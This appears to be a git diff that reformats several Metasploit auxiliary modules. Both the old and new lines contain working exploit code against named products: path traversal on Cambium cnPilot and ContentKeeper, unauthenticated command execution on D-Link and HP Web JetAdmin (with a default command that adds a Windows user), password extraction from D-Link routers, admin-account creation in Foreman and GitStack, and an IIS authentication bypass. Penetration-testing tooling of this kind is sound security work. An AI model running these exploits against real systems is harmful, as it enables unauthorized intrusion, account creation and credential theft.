'Cambium cnPilot CMD Exec Results' - data = "#{search_result}" + data = search_result.to_s p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc) print_good("File saved in: #{p}") end diff --git a/modules/auxiliary/admin/http/cnpilot_r_fpt.rb b/modules/auxiliary/admin/http/cnpilot_r_fpt.rb index 2c42482166..55112a03b3 100644 --- a/modules/auxiliary/admin/http/cnpilot_r_fpt.rb +++ b/modules/auxiliary/admin/http/cnpilot_r_fpt.rb @@ -7,24 +7,24 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::CNPILOT def initialize(info = {}) - super(update_info(info, - 'Name' => 'Cambium cnPilot r200/r201 File Path Traversal', - 'Description' => %{ - This module exploits a File Path Traversal vulnerability in Cambium - cnPilot r200/r201 to read arbitrary files off the file system. Affected - versions - 4.3.3-R4 and prior. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'Cambium cnPilot r200/r201 File Path Traversal', + 'Description' => %q{ + This module exploits a File Path Traversal vulnerability in Cambium + cnPilot r200/r201 to read arbitrary files off the file system. Affected + versions - 4.3.3-R4 and prior. + }, + 'Author' => [ 'Karn Ganeshen ' ], - 'References' => - [ + 'References' => [ ['CVE', '2017-5261'], ['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/'] ], - 'License' => MSF_LICENSE - ) + 'License' => MSF_LICENSE + ) ) register_options( @@ -40,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS') end - def run_host(ip) + def run_host(_ip) unless is_app_cnpilot? return end @@ -54,7 +54,7 @@ class MetasploitModule < Msf::Auxiliary print_status("#{rhost}:#{rport} - Accessing the file...") file = datastore['FILENAME'] fileuri = "/goform/logRead?Readfile=../../../../../../..#{file}" - final_url = "#{(ssl ? 'https' : 'http')}" + '://' + "#{rhost}:#{rport}" + "#{fileuri}" + final_url = (ssl ? 'https' : 'http').to_s + '://' + "#{rhost}:#{rport}" + fileuri.to_s res = send_request_cgi( { @@ -70,16 +70,16 @@ class MetasploitModule < Msf::Auxiliary if res && res.code == 200 results = res.body - if results.size.zero? + if results.empty? print_status('File not found.') else - print_good("#{results}") + print_good(results.to_s) # w00t we got l00t loot_name = 'fpt-log' loot_type = 'text/plain' loot_desc = 'Cambium cnPilot File Path Traversal Results' - data = "#{results}" + data = results.to_s p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc) print_good("File saved in: #{p}") end diff --git a/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb b/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb index 24ad229369..ee82e2b9d0 100644 --- a/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb +++ b/modules/auxiliary/admin/http/contentkeeper_fileaccess.rb @@ -9,60 +9,58 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'ContentKeeper Web Appliance mimencode File Access', + 'Name' => 'ContentKeeper Web Appliance mimencode File Access', 'Description' => %q{ This module abuses the 'mimencode' binary present within ContentKeeper Web filtering appliances to retrieve arbitrary files outside of the webroot. }, - 'References' => - [ - [ 'OSVDB', '54551' ], - [ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ], - ], - 'Author' => [ 'aushack' ], - 'License' => MSF_LICENSE) + 'References' => [ + [ 'OSVDB', '54551' ], + [ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ], + ], + 'Author' => [ 'aushack' ], + 'License' => MSF_LICENSE) register_options( [ OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']), OptString.new('URL', [ true, 'The path to mimencode', '/cgi-bin/ck/mimencode']), - ]) + ] + ) end - def run_host(ip) - begin - tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traveral data in a hard-to-brute filename, just in case. + def run_host(_ip) + tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traveral data in a hard-to-brute filename, just in case. - print_status("Attempting to connect to #{rhost}:#{rport}") - res = send_request_raw( + print_status("Attempting to connect to #{rhost}:#{rport}") + res = send_request_raw( + { + 'method' => 'POST', + 'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE'] + }, 25 + ) + + if (res && (res.code == 500)) + + print_good("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}") + + file = send_request_raw( { - 'method' => 'POST', - 'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE'], - }, 25) + 'method' => 'GET', + 'uri' => '/' + tmpfile + }, 25 + ) - if (res and res.code == 500) - - print_good("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}") - - file = send_request_raw( - { - 'method' => 'GET', - 'uri' => '/' + tmpfile, - }, 25) - - if (file and file.code == 200) - print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#{rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}") - elsif (file and file.code) - print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}") - end - elsif (res and res.code) + if (file && (file.code == 200)) + print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#{rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}") + elsif (file && file.code) print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}") end - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE - + elsif (res && res.code) + print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}") end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue ::Timeout::Error, ::Errno::EPIPE end end diff --git a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb index 88794be974..3c588eba7a 100644 --- a/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb +++ b/modules/auxiliary/admin/http/dlink_dir_300_600_exec_noauth.rb @@ -7,33 +7,37 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution', + 'Description' => %q{ This module exploits an OS Command Injection vulnerability in some D-Link - Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in - command.php, which is accessible without authentication. This module has been - tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below. - In order to get a remote shell the telnetd could be started without any - authentication. - }, - 'Author' => [ 'Michael Messner ' ], - 'License' => MSF_LICENSE, - 'References' => - [ + Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in + command.php, which is accessible without authentication. This module has been + tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below. + In order to get a remote shell the telnetd could be started without any + authentication. + }, + 'Author' => [ 'Michael Messner ' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'OSVDB', '89861' ], [ 'EDB', '24453' ], [ 'URL', 'https://eu.dlink.com/uk/en/products/dir-600-wireless-n-150-home-router' ], [ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ] ], - 'DisclosureDate' => '2013-02-04')) + 'DisclosureDate' => '2013-02-04' + ) + ) register_options( [ Opt::RPORT(80), OptString.new('CMD', [ true, 'The command to execute', 'cat var/passwd']) - ]) + ] + ) end def run @@ -46,19 +50,20 @@ class MetasploitModule < Msf::Auxiliary begin res = send_request_cgi( { - 'uri' => uri, + 'uri' => uri, 'method' => 'POST', - 'data' => data_cmd - }) + 'data' => data_cmd + } + ) return if res.nil? - return if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/) + return if (res.headers['Server'].nil? || res.headers['Server'] !~ (%r{Linux,\ HTTP/1.1,\ DIR})) return if res.code == 404 rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return end - if res.body.include?("end") + if res.body.include?('end') print_good("#{rhost}:#{rport} - Exploited successfully\n") print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n") print_line("#{rhost}:#{rport} - Output: #{res.body}") diff --git a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb index b35d7529c3..2f547f53a4 100644 --- a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb @@ -9,35 +9,32 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'D-Link DIR 645 Password Extractor', + 'Name' => 'D-Link DIR 645 Password Extractor', 'Description' => %q{ This module exploits an authentication bypass vulnerability in DIR 645 < v1.03. With this vulnerability you are able to extract the password for the remote management. }, - 'References' => - [ - [ 'OSVDB', '90733' ], - [ 'BID', '58231' ], - [ 'PACKETSTORM', '120591' ] - ], - 'Author' => - [ - 'Roberto Paleari ', # Vulnerability discovery - 'Michael Messner ' # Metasploit module - ], - 'License' => MSF_LICENSE + 'References' => [ + [ 'OSVDB', '90733' ], + [ 'BID', '58231' ], + [ 'PACKETSTORM', '120591' ] + ], + 'Author' => [ + 'Roberto Paleari ', # Vulnerability discovery + 'Michael Messner ' # Metasploit module + ], + 'License' => MSF_LICENSE ) end def run - vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device") - #Curl request: - #curl -d SERVICES=DEVICE.ACCOUNT http://192.168.178.200/getcfg.php | egrep "\ '/getcfg.php', @@ -46,58 +43,55 @@ class MetasploitModule < Msf::Auxiliary { 'SERVICES' => 'DEVICE.ACCOUNT' } - }) + }) return if res.nil? - return if (res.headers['Server'].nil? or res.headers['Server'] !~ /DIR-645 Ver 1\.0/) + return if (res.headers['Server'].nil? || res.headers['Server'] !~ (/DIR-645 Ver 1\.0/)) return if (res.code == 404) - if res.body =~ /(.*)<\/password>/ + if res.body =~ %r{(.*)} print_good("#{rhost}:#{rport} - credentials successfully extracted") - #store all details as loot -> there is some usefull stuff in the response - loot = store_loot("dlink.dir645.config","text/plain",rhost, res.body) + # store all details as loot -> there is some usefull stuff in the response + loot = store_loot('dlink.dir645.config', 'text/plain', rhost, res.body) print_good("#{rhost}:#{rport} - Account details downloaded to: #{loot}") res.body.each_line do |line| - if line =~ /(.*)<\/name>/ - @user = $1 + if line =~ %r{(.*)} + @user = ::Regexp.last_match(1) next end - if line =~ /(.*)<\/password>/ - pass = $1 - vprint_good("user: #{@user}") - vprint_good("pass: #{pass}") + next unless line =~ %r{(.*)} + pass = ::Regexp.last_match(1) + vprint_good("user: #{@user}") + vprint_good("pass: #{pass}") - connection_details = { - module_fullname: self.fullname, - username: @user, - private_data: pass, - private_type: :password, - workspace_id: myworkspace_id, - proof: line, - last_attempted_at: DateTime.now, # kept in refactor may not be valid, obtained but do not attempted here - status: Metasploit::Model::Login::Status::UNTRIED - }.merge(service_details) - create_credential_and_login(connection_details) + connection_details = { + module_fullname: fullname, + username: @user, + private_data: pass, + private_type: :password, + workspace_id: myworkspace_id, + proof: line, + last_attempted_at: DateTime.now, # kept in refactor may not be valid, obtained but do not attempted here + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_details) + create_credential_and_login(connection_details) - report_cred( - ip: rhost, - port: rport, - service_name: 'http', - user: @user, - password: pass, - proof: line - ) - end + report_cred( + ip: rhost, + port: rport, + service_name: 'http', + user: @user, + password: pass, + proof: line + ) end end rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return end - - end end diff --git a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb index 44333a52b1..d8a31f8ac5 100644 --- a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb @@ -9,29 +9,28 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'D-Link DSL 320B Password Extractor', + 'Name' => 'D-Link DSL 320B Password Extractor', 'Description' => %q{ This module exploits an authentication bypass vulnerability in D-Link DSL 320B <=v1.23. This vulnerability allows to extract the credentials for the remote management interface. }, - 'References' => - [ - [ 'EDB', '25252' ], - [ 'OSVDB', '93013' ], - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-018' ] - ], - 'Author' => [ + 'References' => [ + [ 'EDB', '25252' ], + [ 'OSVDB', '93013' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-018' ] + ], + 'Author' => [ 'Michael Messner ' ], - 'License' => MSF_LICENSE + 'License' => MSF_LICENSE ) end def run vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device") - #download configuration + # download configuration begin res = send_request_cgi({ 'uri' => '/config.bin', @@ -39,52 +38,49 @@ class MetasploitModule < Msf::Auxiliary }) return if res.nil? - return if (res.headers['Server'].nil? or res.headers['Server'] !~ /micro_httpd/) + return if (res.headers['Server'].nil? || res.headers['Server'] !~ (/micro_httpd/)) return if (res.code == 404) - if res.body =~ /sysPassword value/ or res.body =~ /sysUserName value/ + if res.body =~ (/sysPassword value/) || res.body =~ (/sysUserName value/) if res.body !~ /sysPassword value/ print_status("#{rhost}:#{rport} - Default Configuration of DSL 320B detected - no password section available, try admin/admin") else print_good("#{rhost}:#{rport} - Credentials successfully extracted") end - #store all details as loot -> there is some usefull stuff in the response - loot = store_loot("dlink.dsl320b.config","text/plain", rhost, res.body) + # store all details as loot -> there is some usefull stuff in the response + loot = store_loot('dlink.dsl320b.config', 'text/plain', rhost, res.body) print_good("#{rhost}:#{rport} - Configuration of DSL 320B downloaded to: #{loot}") - user = "" - pass = "" + user = '' + pass = '' res.body.each_line do |line| - if line =~ /\/ - user = $1 + if line =~ %r{} + user = ::Regexp.last_match(1) next end - if line =~ /\/ - pass = $1 - pass = Rex::Text.decode_base64(pass) - print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}") + next unless line =~ %r{} - connection_details = { - module_fullname: self.fullname, - username: user, - private_data: pass, - private_type: :password, - workspace_id: myworkspace_id, - proof: line, - status: Metasploit::Model::Login::Status::UNTRIED - }.merge(service_details) - create_credential_and_login(connection_details) + pass = ::Regexp.last_match(1) + pass = Rex::Text.decode_base64(pass) + print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}") - end + connection_details = { + module_fullname: fullname, + username: user, + private_data: pass, + private_type: :password, + workspace_id: myworkspace_id, + proof: line, + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_details) + create_credential_and_login(connection_details) end end rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return end - - end end diff --git a/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb b/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb index 2aee9d1a18..63a0607e15 100644 --- a/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb +++ b/modules/auxiliary/admin/http/foreman_openstack_satellite_priv_esc.rb @@ -8,25 +8,24 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment', - 'Description' => %q{ + 'Name' => 'Foreman (Red Hat OpenStack/Satellite) users/create Mass Assignment', + 'Description' => %q{ This module exploits a mass assignment vulnerability in the 'create' action of 'users' controller of Foreman and Red Hat OpenStack/Satellite (Foreman 1.2.0-RC1 and earlier) by creating an arbitrary administrator account. For this exploit to work, your account must have 'create_users' permission (e.g., Manager role). }, - 'Author' => 'Ramon de C Valle', - 'License' => MSF_LICENSE, - 'References' => - [ - ['BID', '60835'], - ['CVE', '2013-2113'], - ['CWE', '915'], - ['OSVDB', '94655'], - ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=966804'], - ['URL', 'https://projects.theforeman.org/issues/2630'] - ], + 'Author' => 'Ramon de C Valle', + 'License' => MSF_LICENSE, + 'References' => [ + ['BID', '60835'], + ['CVE', '2013-2113'], + ['CWE', '915'], + ['OSVDB', '94655'], + ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=966804'], + ['URL', 'https://projects.theforeman.org/issues/2630'] + ], 'DisclosureDate' => 'Jun 6 2013' ) @@ -47,10 +46,10 @@ class MetasploitModule < Msf::Auxiliary def run print_status("Logging into #{target_url}...") res = send_request_cgi( - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'users', 'login'), + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'users', 'login'), 'vars_post' => { - 'login[login]' => datastore['USERNAME'], + 'login[login]' => datastore['USERNAME'], 'login[password]' => datastore['PASSWORD'] } ) @@ -60,11 +59,11 @@ class MetasploitModule < Msf::Auxiliary return end - if res.headers['Location'] =~ /users\/login$/ + if res.headers['Location'] =~ %r{users/login$} print_error('Authentication failed') return else - session = $1 if res.get_cookies =~ /_session_id=([0-9a-f]*)/ + session = ::Regexp.last_match(1) if res.get_cookies =~ /_session_id=([0-9a-f]*)/ if session.nil? print_error('Failed to retrieve the current session id') @@ -76,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary res = send_request_cgi( 'cookie' => "_session_id=#{session}", 'method' => 'GET', - 'uri' => normalize_uri(target_uri) + 'uri' => normalize_uri(target_uri) ) if res.nil? @@ -84,16 +83,16 @@ class MetasploitModule < Msf::Auxiliary return end - if res.headers['Location'] =~ /users\/login$/ + if res.headers['Location'] =~ %r{users/login$} print_error('Failed to retrieve the CSRF token') return else - csrf_param = $1 if res.body =~ //i - csrf_token = $1 if res.body =~ //i + csrf_param = ::Regexp.last_match(1) if res.body =~ %r{}i + csrf_token = ::Regexp.last_match(1) if res.body =~ %r{}i if csrf_param.nil? || csrf_token.nil? - csrf_param = $1 if res.body =~ //i - csrf_token = $1 if res.body =~ //i + csrf_param = ::Regexp.last_match(1) if res.body =~ %r{}i + csrf_token = ::Regexp.last_match(1) if res.body =~ %r{}i end if csrf_param.nil? || csrf_token.nil? @@ -104,16 +103,16 @@ class MetasploitModule < Msf::Auxiliary print_status("Sending create-user request to #{target_url('users')}...") res = send_request_cgi( - 'cookie' => "_session_id=#{session}", - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'users'), + 'cookie' => "_session_id=#{session}", + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'users'), 'vars_post' => { - csrf_param => csrf_token, - 'user[admin]' => 'true', - 'user[auth_source_id]' => '1', - 'user[login]' => datastore['NEWUSERNAME'], - 'user[mail]' => datastore['NEWEMAIL'], - 'user[password]' => datastore['NEWPASSWORD'], + csrf_param => csrf_token, + 'user[admin]' => 'true', + 'user[auth_source_id]' => '1', + 'user[login]' => datastore['NEWUSERNAME'], + 'user[mail]' => datastore['NEWEMAIL'], + 'user[password]' => datastore['NEWPASSWORD'], 'user[password_confirmation]' => datastore['NEWPASSWORD'] } ) diff --git a/modules/auxiliary/admin/http/gitstack_rest.rb b/modules/auxiliary/admin/http/gitstack_rest.rb index 18a02908ca..619fcd302c 100644 --- a/modules/auxiliary/admin/http/gitstack_rest.rb +++ b/modules/auxiliary/admin/http/gitstack_rest.rb @@ -8,45 +8,44 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'GitStack Unauthenticated REST API Requests', - 'Description' => %q{ - This modules exploits unauthenticated REST API requests in GitStack through v2.3.10. - The module supports requests for listing users of the application and listing - available repositories. Additionally, the module can create a user and add the user - to the application's repositories. This module has been tested against GitStack v2.3.10. - }, - 'Author' => - [ - 'Kacper Szurek', # Vulnerability discovery and PoC - 'Jacob Robles' # Metasploit module + super( + update_info( + info, + 'Name' => 'GitStack Unauthenticated REST API Requests', + 'Description' => %q{ + This modules exploits unauthenticated REST API requests in GitStack through v2.3.10. + The module supports requests for listing users of the application and listing + available repositories. Additionally, the module can create a user and add the user + to the application's repositories. This module has been tested against GitStack v2.3.10. + }, + 'Author' => [ + 'Kacper Szurek', # Vulnerability discovery and PoC + 'Jacob Robles' # Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2018-5955'], ['EDB', '43777'], ['EDB', '44044'] ], - 'DisclosureDate' => '2018-01-15', - 'Actions' => - [ + 'DisclosureDate' => '2018-01-15', + 'Actions' => [ [ 'LIST', { 'Description' => 'List application users', - 'List' => 'GET', - 'UserPath' => '/rest/user/' + 'List' => 'GET', + 'UserPath' => '/rest/user/' } ], [ 'CREATE', { 'Description' => 'Create a user on the application', - 'Create' => 'POST', - 'List' => 'GET', - 'UserPath' => '/rest/user/', - 'RepoPath' => '/rest/repository/' + 'Create' => 'POST', + 'List' => 'GET', + 'UserPath' => '/rest/user/', + 'RepoPath' => '/rest/repository/' } ], # If this is uncommented, you will be able to change an @@ -55,50 +54,53 @@ class MetasploitModule < Msf::Auxiliary # added to all available repositories. # The cleanup action removes the user from all repositories # and then deletes the user... so this action may not be desirable. - #[ - #'MODIFY', - #{ - #'Description' => "Change the application user's password", - #'Create' => 'PUT', - #'List' => 'GET', - #'UserPath' => '/rest/user/', - #'RepoPath' => '/rest/repository/' - #} - #], + # [ + # 'MODIFY', + # { + # 'Description' => "Change the application user's password", + # 'Create' => 'PUT', + # 'List' => 'GET', + # 'UserPath' => '/rest/user/', + # 'RepoPath' => '/rest/repository/' + # } + # ], [ 'LIST_REPOS', { 'Description' => 'List available repositories', - 'List' => 'GET', - 'RepoPath' => '/rest/repository/' + 'List' => 'GET', + 'RepoPath' => '/rest/repository/' } ], [ 'CLEANUP', { 'Description' => 'Remove user from repositories and delete user', - 'List' => 'GET', - 'Remove' => 'DELETE', - 'RepoPath' => '/rest/repository/', - 'UserPath' => '/rest/user/' + 'List' => 'GET', + 'Remove' => 'DELETE', + 'RepoPath' => '/rest/repository/', + 'UserPath' => '/rest/user/' } ] ], - 'DefaultAction' => 'LIST')) + 'DefaultAction' => 'LIST' + ) + ) register_options( [ OptString.new('USERNAME', [false, 'User to create or modify', 'msf']), OptString.new('PASSWORD', [false, 'Password for user', 'password']) - ]) + ] + ) end def get_users path = action.opts['UserPath'] begin res = send_request_cgi({ - 'uri' => path, - 'method' => action.opts['List'] + 'uri' => path, + 'method' => action.opts['List'] }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") @@ -113,7 +115,7 @@ class MetasploitModule < Msf::Auxiliary return end mylist.each do |item| - print_good("#{item}") + print_good(item.to_s) end end end @@ -122,8 +124,8 @@ class MetasploitModule < Msf::Auxiliary path = action.opts['RepoPath'] begin res = send_request_cgi({ - 'uri' => path, - 'method' => action.opts['List'] + 'uri' => path, + 'method' => action.opts['List'] }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") @@ -145,7 +147,7 @@ class MetasploitModule < Msf::Auxiliary def clean_app user = datastore['USERNAME'] unless user - print_error("USERNAME required") + print_error('USERNAME required') return end @@ -156,8 +158,8 @@ class MetasploitModule < Msf::Auxiliary path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/" begin res = send_request_cgi({ - 'uri' => path, - 'method' => action.opts['Remove'] + 'uri' => path, + 'method' => action.opts['Remove'] }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") @@ -165,7 +167,7 @@ class MetasploitModule < Msf::Auxiliary end if res && res.code == 200 - print_good("#{res.body}") + print_good(res.body.to_s) else print_status("User #{user} doesn't have access to #{item['name']}") end @@ -176,8 +178,8 @@ class MetasploitModule < Msf::Auxiliary path = "#{action.opts['UserPath']}#{user}/" begin res = send_request_cgi({ - 'uri' => path, - 'method' => action.opts['Remove'] + 'uri' => path, + 'method' => action.opts['Remove'] }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") @@ -186,9 +188,9 @@ class MetasploitModule < Msf::Auxiliary # Check if the account was successfully deleted if res && res.code == 200 - print_good("#{res.body}") + print_good(res.body.to_s) else - print_error("#{res.body}") + print_error(res.body.to_s) end end @@ -198,11 +200,11 @@ class MetasploitModule < Msf::Auxiliary begin res = send_request_cgi({ - 'uri' => action.opts['UserPath'], - 'method' => action.opts['Create'], - 'vars_post' => { - 'username' => user, - 'password' => pass + 'uri' => action.opts['UserPath'], + 'method' => action.opts['Create'], + 'vars_post' => { + 'username' => user, + 'password' => pass } }) rescue Rex::ConnectionError, Errno::ECONNRESET => e @@ -212,7 +214,7 @@ class MetasploitModule < Msf::Auxiliary if res && res.code == 200 print_good("SUCCESS: #{user}:#{pass}") else - print_error("#{res.body}") + print_error(res.body.to_s) return end @@ -222,45 +224,45 @@ class MetasploitModule < Msf::Auxiliary path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/" begin res = send_request_cgi({ - 'uri' => path, - 'method' => action.opts['Create'] + 'uri' => path, + 'method' => action.opts['Create'] }) rescue Rex::ConnectionError, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") next end if res && res.code == 200 - print_good("#{res.body}") + print_good(res.body.to_s) else - print_error("Failed to add user") - print_error("#{res.body}") + print_error('Failed to add user') + print_error(res.body.to_s) end end else - print_error("Failed to retrieve repository list") + print_error('Failed to retrieve repository list') end end def run - if ["LIST"].include?(action.name) + if ['LIST'].include?(action.name) print_status('Retrieving Users') get_users - elsif ["LIST_REPOS"].include?(action.name) + elsif ['LIST_REPOS'].include?(action.name) print_status('Retrieving Repositories') mylist = get_repos if mylist mylist.each do |item| - print_good("#{item['name']}") + print_good((item['name']).to_s) end else - print_error("Failed to retrieve repository list") + print_error('Failed to retrieve repository list') end - elsif ["CLEANUP"].include?(action.name) + elsif ['CLEANUP'].include?(action.name) clean_app elsif datastore['USERNAME'] && datastore['PASSWORD'] add_user else - print_error("USERNAME and PASSWORD required") + print_error('USERNAME and PASSWORD required') end end end diff --git a/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb b/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb index 5ccb926f8c..7fa510d6ae 100644 --- a/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb +++ b/modules/auxiliary/admin/http/hp_web_jetadmin_exec.rb @@ -7,41 +7,45 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'HP Web JetAdmin 6.5 Server Arbitrary Command Execution', - 'Description' => %q{ - This module abuses a command execution vulnerability within the - web based management console of the Hewlett-Packard Web JetAdmin - network printer tool v6.2 - v6.5. It is possible to execute commands - as SYSTEM without authentication. The vulnerability also affects POSIX - systems, however at this stage the module only works against Windows. - This module does not apply to HP printers. - }, - 'Author' => [ 'aushack' ], - 'License' => MSF_LICENSE, - 'References' => - [ + super( + update_info( + info, + 'Name' => 'HP Web JetAdmin 6.5 Server Arbitrary Command Execution', + 'Description' => %q{ + This module abuses a command execution vulnerability within the + web based management console of the Hewlett-Packard Web JetAdmin + network printer tool v6.2 - v6.5. It is possible to execute commands + as SYSTEM without authentication. The vulnerability also affects POSIX + systems, however at this stage the module only works against Windows. + This module does not apply to HP printers. + }, + 'Author' => [ 'aushack' ], + 'License' => MSF_LICENSE, + 'References' => [ [ 'OSVDB', '5798' ], [ 'BID', '10224' ], - #[ 'CVE', '' ],# No CVE! + # [ 'CVE', '' ],# No CVE! [ 'EDB', '294' ] ], - 'DisclosureDate' => '2004-04-27')) + 'DisclosureDate' => '2004-04-27' + ) + ) - register_options( - [ - Opt::RPORT(8000), - OptString.new('CMD', [ false, "The command to execute.", "net user metasploit password /add" ]), - ]) + register_options( + [ + Opt::RPORT(8000), + OptString.new('CMD', [ false, 'The command to execute.', 'net user metasploit password /add' ]), + ] + ) end def run cmd = datastore['CMD'].gsub(' ', ',') send_request_cgi({ - 'uri' => '/plugins/framework/script/content.hts', - 'method' => 'POST', - 'data' => 'obj=Httpd:ExecuteFile(,cmd.exe,/c,' + cmd + ',)' - }, 3) + 'uri' => '/plugins/framework/script/content.hts', + 'method' => 'POST', + 'data' => 'obj=Httpd:ExecuteFile(,cmd.exe,/c,' + cmd + ',)' + }, 3) end end diff --git a/modules/auxiliary/admin/http/iis_auth_bypass.rb b/modules/auxiliary/admin/http/iis_auth_bypass.rb index 70aac698e1..c29e8addbb 100644 --- a/modules/auxiliary/admin/http/iis_auth_bypass.rb +++ b/modules/auxiliary/admin/http/iis_auth_bypass.rb @@ -7,36 +7,37 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass', + 'Description' => %q{ This module bypasses basic authentication for Internet Information Services (IIS). - By appending the NTFS stream name to the directory name in a request, it is - possible to bypass authentication. - }, - 'References' => - [ + By appending the NTFS stream name to the directory name in a request, it is + possible to bypass authentication. + }, + 'References' => [ [ 'CVE', '2010-2731' ], [ 'OSVDB', '66160' ], [ 